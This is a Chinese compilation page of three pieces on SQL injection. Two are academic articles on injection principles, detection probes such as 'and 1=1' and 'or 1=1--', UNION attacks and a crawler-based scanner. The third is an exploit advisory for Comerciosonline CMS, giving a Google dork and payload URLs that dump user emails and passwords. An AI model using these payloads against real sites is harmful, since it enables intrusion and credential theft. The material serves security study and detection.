注入漏洞

2024-10-21

注入漏洞(精选3篇)

注入漏洞 篇1

如果门户网站的代码没有对用户输入数据的合法性进行判断和过滤, 攻击者可以通过提交针对性的数据库指令来获取超出其权限的门户网站后台数据库的数据, 甚至得到管理员账号信息, 这就是SQL注入[1]。SQL注入攻击是门户网站中越发引起关注的安全隐患之一。我们设计实现了一个SQL注入探测软件, 以用于检测门户网站是否存在SQL注入攻击隐患。

1 SQL注入原理

SQl注入是将SQL查询代码插入到用户的输入参数中, 将此参数传递给门户网站的后台数据库解析执行。进一步说, 针对交互型动态网页, 用户在提交的请求后面附加SQL指令, 如果服务端提取用户输入参数的代码没有对输入进行过滤, 一旦动态网页访问了后台数据库, 则可能存在SQL注入漏洞[2]。

输入参数分成数字型或字符型两类, 因此判断门户网站代码是否具有过滤用户输入功能也相应分成2种识别技术。下面以动态网址形如:http://x.x.x.x/test.php id=y为例进行阐述。

1.1 数字型SQL注入漏洞检测技术

首先, 在网址后附加and 1=1, 即:http://x.x.x.x/test.php?id=y and 1=1, 看动态网页test.php在用户端是否显示正常, 且与不附加逻辑等式and 1=1的页面显示一样;然后, 在网址后附加and1=2, 即:即:http://x.x.x.x/test.php?id=y and 1=2, 看动态网页test.php在用户端是否显示正常, 如果含有过滤代码, 则显示正常页面, 反之, 如果显示错误, 则表明附加的逻辑等式被执行, 服务端不含过滤代码, 即含有潜在SQL注入漏洞。

1.2 字符型SQL注入漏洞检测技术

首先, 在网址后附加单引号‘, 再添加and‘A’=’A, 即:http://x.x.x.x/test.php?id=y‘and‘A’=’A, 看动态网页test.php在用户端是否显示正常, 且与不附加逻辑等式的页面显示一样;然后, 在网址后附加单引号‘, 再添加and‘A’=’B, 即:即:http://x.x.x.x/test.php?id=y’and‘A’=’B, 看动态网页test.php在用户端是否显示正常, 如果含有过滤代码, 则显示正常页面, 反之, 如果显示错误, 则表明附加的逻辑等式被执行, 服务端不含过滤代码, 即含有潜在SQL注入漏洞。

需要特别指出:“在字符型检测技术中, 在附加的逻辑等式后没有单引号’”, 这是因为服务端读取输入参数后会自动补全一个单引号’。基于以上两种探测技术, 模拟构造受测试网站的“非法型”输入数据, 并向该网站进行提出申请, 通过探测返回的信息, 判断该网站是否存在SQL注入的漏洞。

通过取消“Internet选项”->“高级”->”显示友好HTTP错误信息”前面的对勾, 当发出非法的数据后并错误执行后, 该网站的返回页面就会暴露后台数据库的类型或者数据库所存储表的某些记录信息, 比如:id=102正确返回, id=103错误返回, 表明该表大小不超过102。

2 门户网站的网页爬取技术

网络爬虫 (Web crawler) 是一个网页自动抓取程序[3]。主要任务是从访问网站的主页开始, 下载主页的Html源码, 并提取其中的链接, 再打开新的链接, 下载子网页的Html源码, 继续提取其中的链接, 不断重复上述过程, 直到满足系统的某种标准为止。网页抓取策略, 可以分为深度优先遍历、广度优先遍历以及最佳优先遍历三种方式。本文匹配采用正则表达式技术[4], 网络爬虫模块选择广度优先策略, 在模块的实现中采用多线程并发爬行策略, 借助并行性, 提高了搜索的效率。

3 门户网站SQL漏洞注入软件的设计实现

系统包含主控模块、网络爬虫模块和SQL注入探测模块。主控模块对网络爬虫模块和注入探测模块进行调度, 利用爬虫模块得到的URL列表, 对其中的每一个URL, 添加SQL注入语句测试库中的攻击测试参数, 然后提交POST或GET请求, 根据服务器的响应结果, 判断其是存在SQL漏洞。系统总体设计如图1所示。

4 系统测试

使用本软件对目标网站进行注入漏洞的探测, 检验能否发现存在漏洞的页面或泄露敏感信息的页面。待测网址是“北京****学院”的网站, 发现其网站部分网页存在SQL注入隐患, 隐患网页地址为:www.****.edu.cn/page.php?sid=2&ssid=254 (此处隐去学校名词) 。

5 结语

本文设计并实现了一个针对门户网站的SQL注入漏洞探测软件, 并实验证明了其有效性。SQL注入攻击是一种比较古老的脚本攻击漏洞, 但是却一直保持着“常青”, 伴着现在门户网站的飞速发展, SQL注入攻击大有越演越烈之势。SQL注入攻击因其自身具有隐蔽性、容易攻击及危害比较大等特性, 应该引起人们的广泛注意。

参考文献

[1]王伟平, 李昌, 段桂华.基于正则表示的SQL注入过滤模块设计[J].计算机工程, 2011, 37 (5) :158-160.

[2]陈小兵, 罗晖.Access数据库SQL注入攻防技术研究[J].信息网络安全, 2012, (3) :78-80.

[3]杜雷, 辛阳.基于规则库和网络爬虫的漏洞检测技术研究与实现[J].信息网络安全.2014, (10) :38-43.

[4]吴贵山.SQL注入攻击防御策略的研究.计算机与网络[J].2012, (9) :70-73.

注入漏洞 篇2

关键词:Web应用程序,SQL注入漏洞,检测

引言

在互联网时代的今天, 适应多平台、充分集成的Web应用程序已经成为当前应用最广泛的网络交互模式, 与之相呼应的安全问题也日益突出, Web应用程序的安全问题成为一个重要课题被广大学者研究, 在各类Web应用安全问题中, SQL注入攻击的风险是位居前列的, 这主要表现在一下两个方面:首先, 虽然在联入Internet的计算机上装有防火墙, 但是为了保证用户可以访问Web应用程序, 防火墙允许计算机从Internet到Web服务器正向连接, 在这种情况下, 如果网络应用程序中存在注入漏洞, 攻击者就可以直接访问数据库甚至进而访问数据库所在服务器。其次SQL攻击非常广泛, 它在所有基于SQL语言标准的数据库软件, 如Oracle、SQL Server, My SQL等以及与之相连接的网络应用程序上都是有效的。

1 SQL注入的原理

SQL注入攻击源于英文“SQL Injection Attack”, 所谓SQL注入攻击, 就是利用SQL注入技术来实施的网络攻击, 它把SQL命令插入到Web交互页面 (例如表单递交或页面请求或输入域名) 的查询字符串中, 以达到欺骗服务器的目的从而执行非授权的命令。SQL注入漏洞在迄今所发现的Web应用程序的安全漏洞中是最著名的, 它利用某些包含特殊目的的SQL语句, 通过关键变量插入到正常的操作语句中从而形成安全漏洞。程序一旦发生注入漏洞就会引发一系列安全问题, 例如会对数据库进行未经授权的访问、更新或删除等操作。

SQL注入的应用违背了“数据与代码分离原则”, 它有两个条件:一是用户能够控制数据的输入;二是代码拼凑了用户输入的数据, 把数据当作代码执行。并且在任何语言开发环境中, 只要涉及使用SQL语句对数据库操作的应用程序, SQL注入漏洞就可能存在。

2 SQL注入的方式

2.1 绕过Web应用的用户验证

绕过Web应用的用户验证是攻击者通过Web应用验证页面最常用的方法, 在这种情况下, 攻击者往往会在用户输入区域输入一些数据信息, 而这些信息将会改变SQL查询语句中的where条件部分的代码, 使得程序在执行时会跳过用户验证。

2.2 盲注攻击

攻击者在通过输入注入信息然后提交到服务器来检测Web应用是否存在SQL注入漏洞, 当提交的信息动态组装成一个SQL语句时, 如果是一个不合理的语句, 服务器向客户端返回一个错误代码, 攻击者可以通过反复探测然后再返回有效信息。

2.3 联合查询攻击

使用UNION或UNION ALL可以将一个表追加到另一个表, 从而将两张表组合在一起进行查询。在使用联合查询时, 攻击者可以在用户输入区域键入类似于“UNION SELECT<注入语句>”的数据信息, 这时程序运行时会自动组装SQL査询语句, 代码变成“select*from user where id=‘UNION select*where account=10and password=’”;若按照普通的SQL语句执行, 由于id和password都是空值, 所以返回的数据就是空值, 但我们可以明显看到代码中加入了UNION方法, 则执行完该代码后数据库服务器会从表user中返回account=10时的值。

3 SQL注入漏洞的危害

SQL注入不但可以获取网站数据, 还可以生成网站后门程序从而得到网络用户的所有权限, 主要表现在一下几点: (1) 在非授权情况下读取、修改甚至删除数据库中的数据; (2) 盗取用户敏感信息; (3) 注入木马。

4 SQL注入漏洞的检测

4.1 思考方向

从上面的研究中我们发现SQL注入主要存在于页面中会与数据库产生交互的地方, 比如查询、提交、回复等页面, 因此可以在Web应用程序的这些地方插入设计好的注入语句, 然后观察服务器端的返回响应。

4.2 测试字符串

在SQL注入漏洞测试中需要用到特定的字符串, 用来査找并判断Web应用程序是否存在漏洞。我们根据注入参数的类型, 可以将设计好的字符串划分为以下3类: (1) 数字型:select*from表名where字段=77; (2) 字符型:select*from表名where字段=‘IT书籍’; (3) 搜索型:selec*from表名where字段like‘%关键字%’。

4.3 SQL语句变换

Web漏洞测试人员可以针对不同的语句类型进行SQL注入。可以通过构造特定的语句规则, 实现提升访问权限、获取完全数据库信息等操作。

4.4 数据库类型变换

由于在实际中对于不同的数据库管理系统的攻击方式也不一样, 因此, 测试人员需要通过指纹标识数据库类型。

4.5 SQL注入漏洞检测

测试人员通过对注入测试字符串进行各种变化, 模仿攻击者根据不同数据库类型用不同类型的语句攻击Web应用程序, 从而动态检测出注入漏洞。具体流程如下: (1) 选取注入测试字符串, 输入应用程序并对比输出; (2) 使用不同的语句类型对应用程序进行攻击; (3) 根据指纹识别数据库类型来识别出应用所使用的数据库管理系统;4) 输入应用程序并对比输出。

5 SQL注入漏洞检测试验模拟

以用ASP.NET中一个简单的户登录界面为案例, 分析源代码中与数据库交互的主要语句如下所示:

Sql Str=“select*from会员表where会员名='”+this.txt_User_Name.Text+“'and密码='”+Md5_User_Pwd+“'”;

按照上述漏洞检测规则及流程, 我们选择“or 1=1—”为漏洞检测用例输入到会员名文本框中, 因为“—”在代码中是注释的意思, 所以后面的语句都可以视为注释不必执行, 而1的确等于1, 因此即便没有该会员照样可以成功登录, 由此可见, 这个登录界面中存在SQL注入漏洞。

6 结束语

随着互联网时代的扩张, Web应用程序已经渗透到社会各个层面, 而Web应用程序的安全问题则成为当今网络应用的主要问题之一, 如何科学地测试评估Web应用程序的安全性具有重要的理论意义和实用价值, 文章仅SQL注入漏洞测试做了简单研究, 下一步将继续深入研究其他类型漏洞, 如网络爬虫漏洞等等。

参考文献

[1]朱辉, 沈明星, 李善平.Web应用中代码注入漏洞的测试方法[J].计算机工程, 2010 (10) .

[2]卢俊.SQL注入与XSS攻击防范方法的研究以及防范模型的设计与实现[J].北京邮电大学, 2010.

[3]潘古兵.Web应用程序渗透测试方法研究[D].西南大学, 2012.

[4]赵丽娟.Web应用程序渗透测试方法研究[D].中南大学, 2014.

注入漏洞 篇3

[+]info:

~~~~~~~~~

# Exploit Title: Comerciosonline CMS SQLi

# Google Dork: allintext: “ Servicio ofrecido por ComerciosOnLine ”

# Date: 27/01/2011

# Author: Daniel Godoy

# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com

# Author Web: www.delincuentedigital.com.ar

# Software Link: www.comerciosonline.com/index.php?p=8

# Version: All

# Tested on: Linux, Windows

[+]poc:

~~~~~~~~~

localhost/b2c/index.php?page=pp_productos.php&tipo=1&codf=-1+UNION+SELECT+1,2,3,4,5--

localhost/b2c/index.php?page=pp_productos.php&tipo=1&codf=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,codigousuario,email,password)+from+ph_usuarios--

[+]Reference:

~~~~~~~~~

上一篇:华东理工下一篇:智能矿山